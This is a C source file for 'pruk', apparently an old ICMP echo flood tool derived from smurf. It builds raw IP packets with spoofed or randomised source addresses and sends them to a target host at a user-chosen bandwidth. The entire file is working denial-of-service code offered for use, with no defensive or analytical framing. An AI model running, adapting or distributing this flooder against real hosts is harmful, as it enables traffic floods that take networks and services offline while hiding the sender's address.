/*
 * pruk.c, wojtekka@irc.pl, based on (papa)smurf.c
 * thanks to Phoner, Tygrys, #plug :)
 */
                            
#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <time.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <signal.h>

void usage(char *a0);
unsigned long resolve(char *host);
void ping(int sock, struct sockaddr_in *dest, unsigned long src, int size);
void pingomat();

int inalarm = 0, sock, bandwidth, size = 16, pktsize, count;
unsigned long src;
struct sockaddr_in dest;

int main(int argc, char **argv)
{
  int ch, jeden = 1, randomspoof = 0;
  char *spoof = NULL;
  
  printf("\033[1mpruk\033[0m, wojtekka@irc.pl\n");

  while((ch = getopt(argc, argv, "s:rp:")) != -1) {
    switch(ch) {
      case 's':
        spoof = strdup(optarg);
	break;
      case 'r':
        randomspoof = 1;
	break;
      case 'p':
        size = atoi(optarg);
	if (size < 16 || size > 65000) {
	  fprintf(stderr, "%s: invalid packet size\n", argv[0]);
	  return 1;
	}
	break;
      default:
        usage(argv[0]);
	return 1;
    }
  }

  if (argc - optind < 2) {
    usage(argv[0]);
    return 1;
  }

  dest.sin_family = AF_INET;
  dest.sin_addr.s_addr = resolve(argv[optind++]);
  bandwidth = atoi(argv[optind]);
  if (bandwidth < 1024 || bandwidth > 128*1024) {
    fprintf(stderr, "%s: bandwidth out of range\n", argv[0]);
    return 1;
  }
  pktsize = size + sizeof(struct ip) + sizeof(struct icmp);
  count = bandwidth / (pktsize * 8);
  printf("%dbps - %d packets per second (%d bytes)", count * pktsize * 8, count, pktsize);

  if (randomspoof)
    src = 0xffffffff;
  else if (spoof)
    src = resolve(spoof);

  if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) {
    perror("socket()");
    return 1;
  }

  if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &jeden, sizeof(int)) == -1) {
    perror("setsockopt()");
    return 1;
  }

  signal(SIGALRM, pingomat);
  alarm(1);

  for (; sleep(60););

  return 0;
}

void pingomat()
{
  int i;
  unsigned long mysrc;

  alarm(1);

  if (inalarm) {
    printf("\033[1m[i'm too slow]\033[0m");
    return;
  }
  inalarm = 1;
  
  for (i = 0; i < count; i++) {
    mysrc = (src != 0xffffffff) ? src : ((rand() % 255) | (rand() % 255) << 8 |
      (rand() % 255) << 16 | (rand() % 255) << 24);
    ping(sock, &dest, mysrc, size);
  }
  printf(".");
  fflush(stdout);
  inalarm = 0;
}

void usage (char *a0)
{
  fprintf(stderr,
  "usage: %s [options] host bandwidth\n\n"
  "-s host  spoof source address\n"
  "-r       randomize spoofed address\n"
  "-p size  specify icmp data size\n"
  "\n", a0);
}

unsigned long resolve(char *host)
{
  struct in_addr in;
  struct hostent *he;

  if ((in.s_addr = inet_addr(host)) == -1) {
    if ((he = gethostbyname(host)) == NULL) {
      perror("gethostbyname()");
      exit(1);
    }
    memcpy(&in, he->h_addr, he->h_length);
  }
  
  return(in.s_addr);
}
	
void ping(int sock, struct sockaddr_in *dest, unsigned long src, int size)
{
  struct ip *ip;
  struct icmp *icmp;
  char *packet;

  int pktsize = sizeof(struct ip) + sizeof(struct icmp) + size;

  packet = malloc(pktsize);
  ip = (struct ip *) packet;
  icmp = (struct icmp *) (packet + sizeof(struct ip));
  memset(packet, 0, pktsize);

  ip->ip_v = 4;
  ip->ip_hl = 5;
  ip->ip_tos = 0;
  ip->ip_len = htons(pktsize);
  ip->ip_ttl = 255;
  ip->ip_off = 0;
  ip->ip_id = htons(getpid());
  ip->ip_p = IPPROTO_ICMP;
  ip->ip_sum = 0;
  ip->ip_src.s_addr = src;
  ip->ip_dst.s_addr = dest->sin_addr.s_addr;

  icmp->icmp_type = ICMP_ECHO;
  icmp->icmp_code = 0;
  icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));

  if (sendto(sock, packet, pktsize, 0, (struct sockaddr *) dest, sizeof(struct sockaddr)) == -1) {
    perror("sendto()");
    exit(1);
  }

  free(packet);
}
